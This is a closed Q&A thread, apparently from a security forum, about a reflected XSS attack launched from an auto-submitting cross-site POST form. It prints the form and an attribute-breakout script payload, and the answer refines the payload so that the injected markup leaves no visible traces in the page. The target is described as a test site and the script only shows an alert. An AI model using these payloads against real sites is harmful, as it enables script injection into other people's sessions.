0

I have created an html page that redirects user to a test site that has an XSS vulnerability. I am able to successfully execute javascript via the vulnerability. However, I have found that some of the characters I am using as part of the XSS attack are displaying in the DOM. How can I hide these characters from showing in the DOM?

<body onload="document.forms[0].submit()">
    <form action="http://sometestsite.com" method="POST">
      <input type="hidden"
        name="login"
        value='"><script>alert(3)</script>' />  
    </form>
  </body>

closed as off-topic by Xander, A. Hersean, Jeroen, NULLZ, kalina Apr 28 at 4:09

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – Xander, A. Hersean, Jeroen, NULLZ, kalina
If this question can be reworded to fit the rules in the help center, please edit the question.

  • Can you be more clear, Also what type of XSS are you trying to exploit? – Goron Apr 12 at 6:03
  • @Goron Reflective XSS. Not sure how else to be more clear. Why are the characters in the screenshot I provided showing in the DOM? – Chris Smith Apr 12 at 6:46
  • cause there must be a javascript function adding the characters into the dom – Vipul Nair Apr 12 at 8:07
  • @VipulNair That is the code I am using. I do not have any other code/javascript function – Chris Smith Apr 12 at 15:18
  • value='"> here is the problem. – Vipul Nair Apr 12 at 15:24
3

You are likely injecting into something like this:

<input type="text" value="[payload]">

What you are currently doing is closing the value attribute with " and the input tag with >, and then adding your script payload:

<input type="text" value=""><script>alert(3)</script>">

If you don't want the DOM to look broken, you need to fix the remaining characters (">). These are not from your attack string, but the remaining ones from the legitimate tag the application is using.

One way to fix this would be to use the following payload:

"><script>alert(3)</script><x y="

This will now result in:

<input type="text" value=""><script>alert(3)</script><x y="">
  • Thanks for the response. Unfortunately that did not work for me. I found a workaround by escaping the "> characters. – Chris Smith Apr 12 at 21:14

Not the answer you're looking for? Browse other questions tagged or ask your own question.